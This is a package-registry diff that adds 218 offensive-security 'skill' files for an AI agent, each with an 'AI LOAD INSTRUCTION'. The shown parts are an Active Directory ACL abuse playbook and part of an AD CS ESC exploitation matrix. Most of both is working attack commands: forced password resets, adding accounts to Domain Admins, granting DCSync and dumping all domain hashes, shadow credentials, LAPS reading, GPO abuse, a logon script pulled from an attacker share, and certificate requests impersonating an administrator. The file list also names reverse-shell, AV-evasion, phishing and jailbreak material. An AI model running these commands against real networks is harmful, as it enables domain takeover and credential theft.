ineedcodes 1.6.0 → 1.7.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (218) hide show
  1. package/package.json +2 -1
  2. package/skills/401-403-bypass-techniques/SKILL.md +348 -0
  3. package/skills/active-directory-acl-abuse/BLOODHOUND_PATHS.md +281 -0
  4. package/skills/active-directory-acl-abuse/SKILL.md +295 -0
  5. package/skills/active-directory-certificate-services/ADCS_ESC_MATRIX.md +197 -0
  6. package/skills/active-directory-certificate-services/SKILL.md +303 -0
  7. package/skills/active-directory-kerberos-attacks/KERBEROS_ATTACK_CHAINS.md +226 -0
  8. package/skills/active-directory-kerberos-attacks/SKILL.md +311 -0
  9. package/skills/ai-ml-security/SKILL.md +425 -0
  10. package/skills/android-pentesting-tricks/FRIDA_SCRIPTS.md +394 -0
  11. package/skills/android-pentesting-tricks/SKILL.md +369 -0
  12. package/skills/anti-debugging-techniques/ANTI_DEBUG_MATRIX.md +117 -0
  13. package/skills/anti-debugging-techniques/SKILL.md +407 -0
  14. package/skills/api-auth-and-jwt-abuse/SKILL.md +76 -0
  15. package/skills/api-authorization-and-bola/SKILL.md +48 -0
  16. package/skills/api-recon-and-docs/SKILL.md +61 -0
  17. package/skills/api-sec/SKILL.md +49 -0
  18. package/skills/arbitrary-write-to-rce/SKILL.md +361 -0
  19. package/skills/auth-sec/SKILL.md +41 -0
  20. package/skills/authbypass-authentication-flaws/SKILL.md +441 -0
  21. package/skills/bba-ad-attacker/SKILL.md +420 -0
  22. package/skills/bba-api-security/SKILL.md +95 -0
  23. package/skills/bba-attack-planner/SKILL.md +186 -0
  24. package/skills/bba-binary-exploit/SKILL.md +65 -0
  25. package/skills/bba-bizlogic-hunter/SKILL.md +304 -0
  26. package/skills/bba-bug-bounty/SKILL.md +245 -0
  27. package/skills/bba-cicd-redteam/SKILL.md +515 -0
  28. package/skills/bba-cloud-security/SKILL.md +97 -0
  29. package/skills/bba-container-escape/SKILL.md +161 -0
  30. package/skills/bba-credential-tester/SKILL.md +346 -0
  31. package/skills/bba-crypto-analyst/SKILL.md +54 -0
  32. package/skills/bba-ctf-solver/SKILL.md +166 -0
  33. package/skills/bba-detection-engineer/SKILL.md +93 -0
  34. package/skills/bba-engagement-planner/SKILL.md +68 -0
  35. package/skills/bba-exploit-chainer/SKILL.md +280 -0
  36. package/skills/bba-exploit-guide/SKILL.md +96 -0
  37. package/skills/bba-forensics-analyst/SKILL.md +512 -0
  38. package/skills/bba-graphql-hunter/SKILL.md +145 -0
  39. package/skills/bba-hardware-hacker/SKILL.md +57 -0
  40. package/skills/bba-jwt-cracker/SKILL.md +133 -0
  41. package/skills/bba-llm-redteam/SKILL.md +149 -0
  42. package/skills/bba-malware-analyst/SKILL.md +305 -0
  43. package/skills/bba-mobile-pentester/SKILL.md +350 -0
  44. package/skills/bba-osint-collector/SKILL.md +645 -0
  45. package/skills/bba-payload-crafter/SKILL.md +347 -0
  46. package/skills/bba-phishing-operator/SKILL.md +516 -0
  47. package/skills/bba-poc-validator/SKILL.md +249 -0
  48. package/skills/bba-privesc-advisor/SKILL.md +98 -0
  49. package/skills/bba-purple-team/SKILL.md +56 -0
  50. package/skills/bba-recon-advisor/SKILL.md +215 -0
  51. package/skills/bba-red-team-operator/SKILL.md +61 -0
  52. package/skills/bba-report-generator/SKILL.md +145 -0
  53. package/skills/bba-reverse-engineer/SKILL.md +298 -0
  54. package/skills/bba-social-engineer/SKILL.md +341 -0
  55. package/skills/bba-ssrf-hunter/SKILL.md +120 -0
  56. package/skills/bba-stig-analyst/SKILL.md +108 -0
  57. package/skills/bba-subdomain-takeover/SKILL.md +141 -0
  58. package/skills/bba-swarm-orchestrator/SKILL.md +351 -0
  59. package/skills/bba-threat-modeler/SKILL.md +574 -0
  60. package/skills/bba-vuln-scanner/SKILL.md +305 -0
  61. package/skills/bba-web-hunter/SKILL.md +285 -0
  62. package/skills/bba-wireless-pentester/SKILL.md +539 -0
  63. package/skills/binary-protection-bypass/PROTECTION_BYPASS_MATRIX.md +168 -0
  64. package/skills/binary-protection-bypass/SKILL.md +295 -0
  65. package/skills/browser-exploitation-v8/SKILL.md +334 -0
  66. package/skills/browser-exploitation-v8/V8_EXPLOITATION_PATTERNS.md +288 -0
  67. package/skills/business-logic-vuln/SKILL.md +33 -0
  68. package/skills/business-logic-vulnerabilities/CHECKLIST.md +375 -0
  69. package/skills/business-logic-vulnerabilities/METHODOLOGY.md +337 -0
  70. package/skills/business-logic-vulnerabilities/SCENARIOS.md +1095 -0
  71. package/skills/business-logic-vulnerabilities/SKILL.md +711 -0
  72. package/skills/classical-cipher-analysis/SKILL.md +663 -0
  73. package/skills/clickjacking/SKILL.md +163 -0
  74. package/skills/cmdi-command-injection/SKILL.md +687 -0
  75. package/skills/code-obfuscation-deobfuscation/SKILL.md +391 -0
  76. package/skills/container-escape-techniques/DOCKER_ESCAPE_CHAINS.md +296 -0
  77. package/skills/container-escape-techniques/SKILL.md +339 -0
  78. package/skills/cors-cross-origin-misconfiguration/SCENARIOS.md +152 -0
  79. package/skills/cors-cross-origin-misconfiguration/SKILL.md +270 -0
  80. package/skills/crlf-injection/SKILL.md +179 -0
  81. package/skills/csp-bypass-advanced/SKILL.md +259 -0
  82. package/skills/csrf-cross-site-request-forgery/SKILL.md +526 -0
  83. package/skills/csv-formula-injection/SKILL.md +144 -0
  84. package/skills/dangling-markup-injection/SKILL.md +321 -0
  85. package/skills/defi-attack-patterns/SKILL.md +355 -0
  86. package/skills/dependency-confusion/SKILL.md +178 -0
  87. package/skills/deserialization-insecure/JAVA_GADGET_CHAINS.md +511 -0
  88. package/skills/deserialization-insecure/SKILL.md +725 -0
  89. package/skills/dns-rebinding-attacks/SKILL.md +337 -0
  90. package/skills/email-header-injection/SKILL.md +349 -0
  91. package/skills/expression-language-injection/SKILL.md +243 -0
  92. package/skills/file-access-vuln/SKILL.md +33 -0
  93. package/skills/format-string-exploitation/SKILL.md +312 -0
  94. package/skills/ghost-bits-cast-attack/PAYLOAD_COOKBOOK.md +448 -0
  95. package/skills/ghost-bits-cast-attack/SKILL.md +799 -0
  96. package/skills/graphql-and-hidden-parameters/SKILL.md +50 -0
  97. package/skills/hack/SKILL.md +162 -0
  98. package/skills/hash-attack-techniques/SKILL.md +491 -0
  99. package/skills/heap-exploitation/HOUSE_OF_TECHNIQUES.md +244 -0
  100. package/skills/heap-exploitation/IO_FILE_EXPLOITATION.md +256 -0
  101. package/skills/heap-exploitation/SKILL.md +217 -0
  102. package/skills/http-host-header-attacks/SKILL.md +323 -0
  103. package/skills/http-parameter-pollution/SKILL.md +208 -0
  104. package/skills/http2-specific-attacks/SKILL.md +350 -0
  105. package/skills/idor-broken-object-authorization/SKILL.md +336 -0
  106. package/skills/injection-checking/EXTRA_INJECTION_TYPES.md +450 -0
  107. package/skills/injection-checking/SKILL.md +50 -0
  108. package/skills/insecure-source-code-management/SKILL.md +161 -0
  109. package/skills/ios-pentesting-tricks/IOS_RUNTIME_TRICKS.md +411 -0
  110. package/skills/ios-pentesting-tricks/SKILL.md +418 -0
  111. package/skills/jndi-injection/SKILL.md +265 -0
  112. package/skills/jwt-oauth-token-attacks/SKILL.md +301 -0
  113. package/skills/kernel-exploitation/KERNEL_HEAP_TECHNIQUES.md +293 -0
  114. package/skills/kernel-exploitation/KERNEL_MITIGATION_BYPASS.md +224 -0
  115. package/skills/kernel-exploitation/SKILL.md +307 -0
  116. package/skills/kubernetes-pentesting/SKILL.md +348 -0
  117. package/skills/lattice-crypto-attacks/SKILL.md +497 -0
  118. package/skills/linux-lateral-movement/SKILL.md +348 -0
  119. package/skills/linux-privilege-escalation/KERNEL_EXPLOITS_CHECKLIST.md +260 -0
  120. package/skills/linux-privilege-escalation/SKILL.md +346 -0
  121. package/skills/linux-privilege-escalation/SUID_CAPABILITIES_TRICKS.md +305 -0
  122. package/skills/linux-security-bypass/SKILL.md +345 -0
  123. package/skills/llm-prompt-injection/JAILBREAK_PATTERNS.md +306 -0
  124. package/skills/llm-prompt-injection/SKILL.md +357 -0
  125. package/skills/macos-process-injection/DYLIB_XPC_TECHNIQUES.md +373 -0
  126. package/skills/macos-process-injection/SKILL.md +384 -0
  127. package/skills/macos-security-bypass/SKILL.md +337 -0
  128. package/skills/macos-security-bypass/TCC_BYPASS_MATRIX.md +200 -0
  129. package/skills/memory-forensics-volatility/SKILL.md +323 -0
  130. package/skills/memory-forensics-volatility/VOLATILITY_CHEATSHEET.md +225 -0
  131. package/skills/mobile-ssl-pinning-bypass/SKILL.md +531 -0
  132. package/skills/network-protocol-attacks/NAME_RESOLUTION_POISONING.md +226 -0
  133. package/skills/network-protocol-attacks/SKILL.md +330 -0
  134. package/skills/nosql-injection/SKILL.md +341 -0
  135. package/skills/ntlm-relay-coercion/COERCION_METHODS.md +253 -0
  136. package/skills/ntlm-relay-coercion/SKILL.md +267 -0
  137. package/skills/oauth-oidc-misconfiguration/SKILL.md +46 -0
  138. package/skills/open-redirect/SKILL.md +380 -0
  139. package/skills/path-traversal-lfi/SKILL.md +802 -0
  140. package/skills/prototype-pollution/SKILL.md +190 -0
  141. package/skills/prototype-pollution-advanced/KNOWN_GADGETS.md +253 -0
  142. package/skills/prototype-pollution-advanced/SKILL.md +338 -0
  143. package/skills/race-condition/SKILL.md +526 -0
  144. package/skills/recon-and-methodology/SKILL.md +389 -0
  145. package/skills/recon-for-sec/SKILL.md +29 -0
  146. package/skills/request-smuggling/H2_SMUGGLING_VARIANTS.md +498 -0
  147. package/skills/request-smuggling/SKILL.md +314 -0
  148. package/skills/reverse-shell-techniques/SHELL_CHEATSHEET.md +196 -0
  149. package/skills/reverse-shell-techniques/SKILL.md +290 -0
  150. package/skills/rsa-attack-techniques/RSA_ATTACK_CATALOG.md +432 -0
  151. package/skills/rsa-attack-techniques/SKILL.md +437 -0
  152. package/skills/saml-sso-assertion-attacks/SKILL.md +41 -0
  153. package/skills/sandbox-escape-techniques/PYTHON_SANDBOX_ESCAPE.md +349 -0
  154. package/skills/sandbox-escape-techniques/SECCOMP_BYPASS.md +332 -0
  155. package/skills/sandbox-escape-techniques/SKILL.md +250 -0
  156. package/skills/smart-contract-vulnerabilities/SKILL.md +314 -0
  157. package/skills/smart-contract-vulnerabilities/SOLIDITY_VULN_PATTERNS.md +460 -0
  158. package/skills/sqli-sql-injection/SCENARIOS.md +575 -0
  159. package/skills/sqli-sql-injection/SKILL.md +489 -0
  160. package/skills/sqli-sql-injection/SQLMAP_ADVANCED.md +642 -0
  161. package/skills/ssrf-server-side-request-forgery/SCENARIOS.md +226 -0
  162. package/skills/ssrf-server-side-request-forgery/SKILL.md +323 -0
  163. package/skills/ssrf-server-side-request-forgery/URL_PARSER_TRICKS.md +650 -0
  164. package/skills/ssti-server-side-template-injection/ENGINE_PAYLOADS.md +456 -0
  165. package/skills/ssti-server-side-template-injection/SCENARIOS.md +319 -0
  166. package/skills/ssti-server-side-template-injection/SKILL.md +344 -0
  167. package/skills/stack-overflow-and-rop/ROP_ADVANCED_TECHNIQUES.md +249 -0
  168. package/skills/stack-overflow-and-rop/SKILL.md +304 -0
  169. package/skills/steganography-techniques/SKILL.md +348 -0
  170. package/skills/steganography-techniques/STEGO_TOOLS_GUIDE.md +335 -0
  171. package/skills/subdomain-takeover/SKILL.md +247 -0
  172. package/skills/symbolic-execution-tools/ANGR_COOKBOOK.md +437 -0
  173. package/skills/symbolic-execution-tools/SKILL.md +419 -0
  174. package/skills/symmetric-cipher-attacks/BLOCK_CIPHER_ATTACKS.md +364 -0
  175. package/skills/symmetric-cipher-attacks/SKILL.md +462 -0
  176. package/skills/traffic-analysis-pcap/SKILL.md +341 -0
  177. package/skills/tunneling-and-pivoting/SKILL.md +343 -0
  178. package/skills/type-juggling/SKILL.md +291 -0
  179. package/skills/unauthorized-access-common-services/PORT_SERVICE_MATRIX.md +340 -0
  180. package/skills/unauthorized-access-common-services/SKILL.md +388 -0
  181. package/skills/upload-insecure-files/SCENARIOS.md +158 -0
  182. package/skills/upload-insecure-files/SKILL.md +543 -0
  183. package/skills/vm-and-bytecode-reverse/SKILL.md +450 -0
  184. package/skills/vr-cheatsheet-authentication_bypass/SKILL.md +184 -0
  185. package/skills/vr-cheatsheet-dangerous_functions/SKILL.md +200 -0
  186. package/skills/vr-cheatsheet-linux_commands/SKILL.md +40 -0
  187. package/skills/vr-cheatsheet-rce/SKILL.md +177 -0
  188. package/skills/vr-cheatsheet-reverse_engineering/SKILL.md +144 -0
  189. package/skills/vr-cheatsheet-sqli/SKILL.md +270 -0
  190. package/skills/vr-cheatsheet-ssrf/SKILL.md +173 -0
  191. package/skills/vr-cheatsheet-xss/SKILL.md +177 -0
  192. package/skills/vr-methodology-mindset_and_tips/SKILL.md +51 -0
  193. package/skills/vr-template-vulnerability_report_template/SKILL.md +59 -0
  194. package/skills/vr-writeup-CVE-2026-9136/SKILL.md +171 -0
  195. package/skills/vr-writeup-ZVE-2026-3795/SKILL.md +350 -0
  196. package/skills/vr-writeup-api_key_leak/SKILL.md +103 -0
  197. package/skills/waf-bypass-techniques/SKILL.md +290 -0
  198. package/skills/waf-bypass-techniques/WAF_PRODUCT_MATRIX.md +202 -0
  199. package/skills/web-cache-deception/CACHE_POISONING_TECHNIQUES.md +637 -0
  200. package/skills/web-cache-deception/SKILL.md +222 -0
  201. package/skills/websocket-security/SKILL.md +454 -0
  202. package/skills/windows-av-evasion/AMSI_BYPASS_TECHNIQUES.md +289 -0
  203. package/skills/windows-av-evasion/SKILL.md +342 -0
  204. package/skills/windows-lateral-movement/CREDENTIAL_DUMPING.md +308 -0
  205. package/skills/windows-lateral-movement/SKILL.md +335 -0
  206. package/skills/windows-privilege-escalation/SKILL.md +328 -0
  207. package/skills/windows-privilege-escalation/TOKEN_POTATO_TRICKS.md +216 -0
  208. package/skills/windows-privilege-escalation/UAC_BYPASS_METHODS.md +225 -0
  209. package/skills/xslt-injection/SKILL.md +281 -0
  210. package/skills/xss-cross-site-scripting/ADVANCED_XSS_TRICKS.md +276 -0
  211. package/skills/xss-cross-site-scripting/SCENARIOS.md +278 -0
  212. package/skills/xss-cross-site-scripting/SKILL.md +379 -0
  213. package/skills/xxe-xml-external-entity/SCENARIOS.md +112 -0
  214. package/skills/xxe-xml-external-entity/SKILL.md +554 -0
  215. package/src/agent.js +1 -1
  216. package/src/session.js +47 -11
  217. package/src/skills.js +30 -6
  218. package/src/ui.js +1 -1
@@ -0,0 +1,295 @@
1
+ ---
2
+ name: active-directory-acl-abuse
3
+ description: >-
4
+ Active Directory ACL abuse playbook. Use when exploiting misconfigured AD permissions including GenericAll, WriteDACL, DCSync rights, shadow credentials, LAPS reading, GPO abuse, and BloodHound-guided attack paths.gated: true
5
+ ---
6
+
7
+ # SKILL: AD ACL Abuse — Expert Attack Playbook
8
+
9
+ > **AI LOAD INSTRUCTION**: Expert AD ACL abuse techniques. Covers BloodHound enumeration, dangerous ACEs (GenericAll, WriteDACL, WriteOwner, etc.), DCSync, shadow credentials, targeted kerberoasting, group manipulation, LAPS, and GPO abuse. Base models miss complex ACL chain exploitation and Cypher query patterns.
10
+
11
+ ## 0. RELATED ROUTING
12
+
13
+ Before going deep, consider loading:
14
+
15
+ - [active-directory-kerberos-attacks](../active-directory-kerberos-attacks/SKILL.md) for Kerberos attacks often chained with ACL abuse
16
+ - [active-directory-certificate-services](../active-directory-certificate-services/SKILL.md) for certificate-based attacks after ACL exploitation
17
+ - [ntlm-relay-coercion](../ntlm-relay-coercion/SKILL.md) for relay attacks that can set ACLs (LDAP relay)
18
+ - [windows-lateral-movement](../windows-lateral-movement/SKILL.md) after gaining elevated AD access
19
+
20
+ ### Advanced Reference
21
+
22
+ Also load [BLOODHOUND_PATHS.md](./BLOODHOUND_PATHS.md) when you need:
23
+ - Common BloodHound attack paths with Cypher queries
24
+ - Custom Neo4j queries for finding complex chains
25
+ - Data collection and ingestion tips
26
+
27
+ ---
28
+
29
+ ## 1. BLOODHOUND ENUMERATION
30
+
31
+ ### Data Collection
32
+
33
+ ```bash
34
+ # SharpHound (from Windows, domain-joined)
35
+ SharpHound.exe -c all --outputdirectory C:\temp --zipfilename bh.zip
36
+
37
+ # bloodhound-python (from Linux)
38
+ bloodhound-python -d domain.com -u user -p password -c all -dc DC01.domain.com -ns DC_IP
39
+
40
+ # Specific collection methods
41
+ SharpHound.exe -c DCOnly # Fastest — only DC queries
42
+ SharpHound.exe -c Session # Session data only (run periodically)
43
+ SharpHound.exe -c All,GPOLocalGroup # Include GPO analysis
44
+ ```
45
+
46
+ ### Key BloodHound Queries (Built-in)
47
+
48
+ - "Find all Domain Admins"
49
+ - "Shortest Paths to Domain Admins from Owned Principals"
50
+ - "Find Principals with DCSync Rights"
51
+ - "Shortest Paths to Unconstrained Delegation Systems"
52
+ - "Find computers where Domain Users are Local Admin"
53
+
54
+ ---
55
+
56
+ ## 2. DANGEROUS ACE TYPES
57
+
58
+ | ACE | Effect on Users | Effect on Groups | Effect on Computers |
59
+ |---|---|---|---|
60
+ | **GenericAll** | Change password, set SPN, modify attributes | Add members | RBCD, LAPS read, all attributes |
61
+ | **GenericWrite** | Set SPN, modify attributes, shadow creds | Add members | RBCD, shadow credentials |
62
+ | **WriteDACL** | Grant yourself any permission | Same | Same |
63
+ | **WriteOwner** | Take ownership → then WriteDACL | Same | Same |
64
+ | **ForceChangePassword** | Reset password without knowing old | N/A | N/A |
65
+ | **AddMember** | N/A | Add self/others to group | N/A |
66
+ | **AllExtendedRights** | Force change password, read LAPS | N/A | Read LAPS, BitLocker keys |
67
+ | **ReadLAPSPassword** | N/A | N/A | Read local admin password |
68
+ | **WriteSPN** | Set SPN → targeted kerberoast | N/A | N/A |
69
+
70
+ ---
71
+
72
+ ## 3. ACE-SPECIFIC EXPLOITATION
73
+
74
+ ### GenericAll on User
75
+
76
+ ```powershell
77
+ # Option 1: Force change password
78
+ net user targetuser NewP@ss123 /domain
79
+
80
+ # Option 2: Targeted Kerberoasting
81
+ Set-DomainObject -Identity targetuser -Set @{serviceprincipalname='fake/svc'}
82
+ # → Kerberoast, then clear SPN
83
+
84
+ # Option 3: Shadow Credentials
85
+ Whisker.exe add /target:targetuser /domain:domain.com /dc:DC01
86
+
87
+ # Option 4: Set logon script
88
+ Set-DomainObject -Identity targetuser -Set @{scriptpath='\\attacker\share\evil.ps1'}
89
+ ```
90
+
91
+ ### GenericAll / GenericWrite on Computer
92
+
93
+ ```bash
94
+ # RBCD attack
95
+ rbcd.py -delegate-from 'CONTROLLED$' -delegate-to 'TARGET$' -action write DOMAIN/user:pass -dc-ip DC
96
+
97
+ # Shadow Credentials on computer
98
+ pywhisker.py -d domain.com -u user -p pass --target 'TARGET$' --action add --dc-ip DC
99
+ ```
100
+
101
+ ### WriteDACL
102
+
103
+ ```powershell
104
+ # Grant DCSync rights to yourself
105
+ Add-DomainObjectAcl -TargetIdentity "DC=domain,DC=com" -PrincipalIdentity lowpriv -Rights DCSync
106
+
107
+ # Impacket
108
+ dacledit.py -action write -rights DCSync -principal lowpriv -target-dn "DC=domain,DC=com" DOMAIN/lowpriv:pass -dc-ip DC
109
+ ```
110
+
111
+ ### WriteOwner
112
+
113
+ ```powershell
114
+ # Step 1: Take ownership
115
+ Set-DomainObjectOwner -Identity targetuser -OwnerIdentity lowpriv
116
+
117
+ # Step 2: Grant WriteDACL to yourself (as owner)
118
+ Add-DomainObjectAcl -TargetIdentity targetuser -PrincipalIdentity lowpriv -Rights All
119
+
120
+ # Step 3: Now exploit as GenericAll
121
+ ```
122
+
123
+ ### ForceChangePassword
124
+
125
+ ```bash
126
+ # Impacket
127
+ rpcclient -U 'DOMAIN/attacker%pass' DC01 -c "setuserinfo2 targetuser 23 'NewP@ss123!'"
128
+
129
+ # PowerView
130
+ Set-DomainUserPassword -Identity targetuser -AccountPassword (ConvertTo-SecureString 'NewP@ss123!' -AsPlainText -Force)
131
+
132
+ # net rpc
133
+ net rpc password targetuser 'NewP@ss123!' -U DOMAIN/attacker%pass -S DC01
134
+ ```
135
+
136
+ ### AddMember to Group
137
+
138
+ ```powershell
139
+ # Add self to privileged group
140
+ Add-DomainGroupMember -Identity "Domain Admins" -Members lowpriv
141
+
142
+ # Impacket
143
+ net rpc group addmem "Domain Admins" lowpriv -U DOMAIN/attacker%pass -S DC01
144
+ ```
145
+
146
+ ---
147
+
148
+ ## 4. DCSYNC ATTACK
149
+
150
+ ### Prerequisites
151
+ The principal needs **both** of these replication rights on the domain object:
152
+ - `DS-Replication-Get-Changes` (GUID: `1131f6aa-9c07-11d1-f79f-00c04fc2dcd2`)
153
+ - `DS-Replication-Get-Changes-All` (GUID: `1131f6ad-9c07-11d1-f79f-00c04fc2dcd2`)
154
+
155
+ ### Execution
156
+
157
+ ```bash
158
+ # Impacket — dump all hashes
159
+ secretsdump.py DOMAIN/user:password@DC01 -just-dc
160
+
161
+ # Specific account only
162
+ secretsdump.py DOMAIN/user:password@DC01 -just-dc-user krbtgt
163
+
164
+ # Mimikatz
165
+ lsadump::dcsync /domain:domain.com /user:krbtgt
166
+ lsadump::dcsync /domain:domain.com /all /csv
167
+
168
+ # Impacket with Kerberos auth
169
+ export KRB5CCNAME=admin.ccache
170
+ secretsdump.py -k -no-pass DC01.domain.com -just-dc
171
+ ```
172
+
173
+ ### Who Has DCSync by Default?
174
+
175
+ - Domain Admins
176
+ - Enterprise Admins
177
+ - Domain Controllers group
178
+ - `BUILTIN\Administrators` (on domain object)
179
+
180
+ ---
181
+
182
+ ## 5. SHADOW CREDENTIALS
183
+
184
+ ### Attack Flow
185
+
186
+ Write `msDS-KeyCredentialLink` on target → generate certificate → authenticate via PKINIT.
187
+
188
+ ```bash
189
+ # pyWhisker (Linux)
190
+ pywhisker.py -d domain.com -u attacker -p pass --target victim --action add --dc-ip DC01
191
+ # Output: DeviceID and PFX file
192
+
193
+ # Authenticate with certificate
194
+ gettgtpkinit.py -cert-pfx victim.pfx -pfx-pass RANDOM_PASS domain.com/victim victim.ccache
195
+ export KRB5CCNAME=victim.ccache
196
+
197
+ # Extract NT hash from TGT (for pass-the-hash)
198
+ getnthash.py -key AS_REP_KEY domain.com/victim
199
+ ```
200
+
201
+ ```powershell
202
+ # Whisker (Windows)
203
+ Whisker.exe add /target:victim /domain:domain.com /dc:DC01.domain.com
204
+ # → Provides Rubeus command to get TGT
205
+ Rubeus.exe asktgt /user:victim /certificate:CERT_B64 /password:PASS /ptt
206
+ ```
207
+
208
+ **Cleanup**: Remove the added key credential to avoid detection.
209
+
210
+ ---
211
+
212
+ ## 6. LAPS PASSWORD READING
213
+
214
+ ```powershell
215
+ # PowerView
216
+ Get-DomainComputer -Identity TARGET -Properties ms-Mcs-AdmPwd,ms-Mcs-AdmPwdExpirationTime
217
+
218
+ # AD Module
219
+ Get-ADComputer -Identity TARGET -Properties ms-Mcs-AdmPwd | Select-Object ms-Mcs-AdmPwd
220
+
221
+ # LAPS v2 (Windows LAPS)
222
+ Get-LapsADPassword -Identity TARGET -AsPlainText
223
+
224
+ # CrackMapExec
225
+ crackmapexec ldap DC01 -u user -p pass --module laps
226
+ ```
227
+
228
+ ---
229
+
230
+ ## 7. GPO ABUSE
231
+
232
+ ### Identify Writable GPOs
233
+
234
+ ```powershell
235
+ # PowerView — find GPOs where you have write access
236
+ Get-DomainGPO | Get-DomainObjectAcl -ResolveGUIDs | Where-Object {
237
+ ($_.ActiveDirectoryRights -match 'WriteProperty|GenericAll|GenericWrite') -and
238
+ ($_.SecurityIdentifier -match 'YOUR_SID')
239
+ }
240
+ ```
241
+
242
+ ### Exploit via SharpGPOAbuse
243
+
244
+ ```cmd
245
+ # Add local admin via GPO
246
+ SharpGPOAbuse.exe --AddLocalAdmin --UserAccount lowpriv --GPOName "Vulnerable GPO"
247
+
248
+ # Add scheduled task via GPO
249
+ SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author DOMAIN\admin --Command "cmd.exe" --Arguments "/c net localgroup administrators lowpriv /add" --GPOName "Vulnerable GPO"
250
+
251
+ # Add startup script
252
+ SharpGPOAbuse.exe --AddComputerScript --ScriptName "evil.bat" --ScriptContents "net localgroup administrators lowpriv /add" --GPOName "Vulnerable GPO"
253
+ ```
254
+
255
+ ```bash
256
+ # pyGPOAbuse (Linux)
257
+ pygpoabuse.py DOMAIN/user:pass -gpo-id "GPO_GUID" -command "net localgroup administrators lowpriv /add" -dc-ip DC01
258
+ ```
259
+
260
+ ---
261
+
262
+ ## 8. ACL ATTACK DECISION TREE
263
+
264
+ ```
265
+ Have domain user access — want to escalate via ACL
266
+
267
+ ├── Run BloodHound → analyze shortest paths to DA
268
+ │ └── Upload data → "Shortest Paths to Domain Admins from Owned Principals"
269
+
270
+ ├── Direct ACL on user object?
271
+ │ ├── GenericAll → force password change, shadow creds, or targeted kerberoast (§3)
272
+ │ ├── GenericWrite → shadow credentials or set SPN (§3/§5)
273
+ │ ├── ForceChangePassword → reset password directly (§3)
274
+ │ ├── WriteDACL → grant yourself GenericAll, then exploit (§3)
275
+ │ └── WriteOwner → take ownership → WriteDACL → GenericAll (§3)
276
+
277
+ ├── ACL on group?
278
+ │ ├── AddMember / GenericAll → add self to privileged group (§3)
279
+ │ └── WriteDACL → grant AddMember, then add self
280
+
281
+ ├── ACL on computer object?
282
+ │ ├── GenericAll/GenericWrite → RBCD attack (§3)
283
+ │ ├── AllExtendedRights → read LAPS password (§6)
284
+ │ └── GenericWrite → shadow credentials on machine (§5)
285
+
286
+ ├── ACL on domain object?
287
+ │ ├── WriteDACL → grant DCSync rights to self (§4)
288
+ │ └── Replication rights already? → DCSync directly (§4)
289
+
290
+ ├── ACL on GPO linked to privileged OU?
291
+ │ └── Write access → add admin / scheduled task via GPO (§7)
292
+
293
+ └── Complex multi-hop chain?
294
+ └── Load BLOODHOUND_PATHS.md for Cypher queries and chain analysis
295
+ ```
@@ -0,0 +1,197 @@
1
+ # AD CS ESC1–ESC13 Quick Reference Matrix
2
+
3
+ > **AI LOAD INSTRUCTION**: Load this for the complete ESC vulnerability matrix with conditions, impact, exploitation commands, and detection notes. Assumes the main [SKILL.md](./SKILL.md) is already loaded for AD CS concepts and detailed exploitation.
4
+
5
+ ---
6
+
7
+ ## 1. ESC VULNERABILITY MATRIX
8
+
9
+ | ESC | Name | Condition | Impact | Difficulty |
10
+ |---|---|---|---|---|
11
+ | **ESC1** | Enrollee Supplies SAN | Template: CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT + Client Auth EKU + low-priv enrollment | **Domain Admin** | Easy |
12
+ | **ESC2** | Any Purpose EKU | Template: Any Purpose (2.5.29.37.0) or no EKU + low-priv enrollment | **Domain Admin** | Easy |
13
+ | **ESC3** | Enrollment Agent | Enrollment agent template + second template allowing on-behalf-of | **Domain Admin** | Medium |
14
+ | **ESC4** | Template ACL | Write access to template object in AD | **Domain Admin** | Medium |
15
+ | **ESC5** | CA Object ACL | Write access to CA object or PKI-related containers | **CA Compromise** | Medium |
16
+ | **ESC6** | EDITF_ATTRIBUTESUBJECTALTNAME2 | CA flag allows SAN in any request | **Domain Admin** | Easy |
17
+ | **ESC7** | CA Officer Abuse | ManageCA or ManageCertificates on CA | **Domain Admin** | Medium |
18
+ | **ESC8** | NTLM Relay to HTTP | HTTP enrollment endpoint without HTTPS/EPA | **Domain Admin** | Medium |
19
+ | **ESC9** | No Security Extension | StrongCertificateBindingEnforcement ≠ 2, CT_FLAG_NO_SECURITY_EXTENSION | **Impersonation** | Hard |
20
+ | **ESC10** | Weak Cert Mapping | CertificateMappingMethods includes UPN/implicit mapping | **Impersonation** | Hard |
21
+ | **ESC11** | NTLM Relay to RPC | CA RPC enrollment without encryption enforcement | **Domain Admin** | Medium |
22
+ | **ESC12** | CA on YubiHSM | Shell access to CA + YubiHSM key accessible | **Golden Cert** | Hard |
23
+ | **ESC13** | OID Group Link | Issuance policy OID linked to AD group + enrollable template | **Group Membership** | Medium |
24
+
25
+ ---
26
+
27
+ ## 2. ONE-LINER EXPLOITATION COMMANDS
28
+
29
+ ### ESC1
30
+
31
+ ```bash
32
+ # Enumerate
33
+ certipy find -u user@domain.com -p pass -dc-ip DC -vulnerable -stdout | grep -A 20 "ESC1"
34
+
35
+ # Exploit
36
+ certipy req -u user@domain.com -p pass -ca CORP-CA -target ca.domain.com \
37
+ -template VulnTemplate -upn administrator@domain.com
38
+
39
+ # Auth
40
+ certipy auth -pfx administrator.pfx -dc-ip DC
41
+ ```
42
+
43
+ ### ESC2
44
+
45
+ ```bash
46
+ certipy req -u user@domain.com -p pass -ca CORP-CA -target ca.domain.com \
47
+ -template AnyPurpose -upn administrator@domain.com
48
+ certipy auth -pfx administrator.pfx -dc-ip DC
49
+ ```
50
+
51
+ ### ESC3
52
+
53
+ ```bash
54
+ # Step 1: Get enrollment agent cert
55
+ certipy req -u user@domain.com -p pass -ca CORP-CA -target ca.domain.com \
56
+ -template EnrollmentAgentTemplate
57
+
58
+ # Step 2: Request on behalf of admin
59
+ certipy req -u user@domain.com -p pass -ca CORP-CA -target ca.domain.com \
60
+ -template User -on-behalf-of 'DOMAIN\administrator' -pfx enrollmentagent.pfx
61
+
62
+ certipy auth -pfx administrator.pfx -dc-ip DC
63
+ ```
64
+
65
+ ### ESC4
66
+
67
+ ```bash
68
+ # Modify template → ESC1
69
+ certipy template -u user@domain.com -p pass -template VulnTemplate -save-old -dc-ip DC
70
+
71
+ # Exploit as ESC1
72
+ certipy req -u user@domain.com -p pass -ca CORP-CA -target ca.domain.com \
73
+ -template VulnTemplate -upn administrator@domain.com
74
+
75
+ # Cleanup
76
+ certipy template -u user@domain.com -p pass -template VulnTemplate \
77
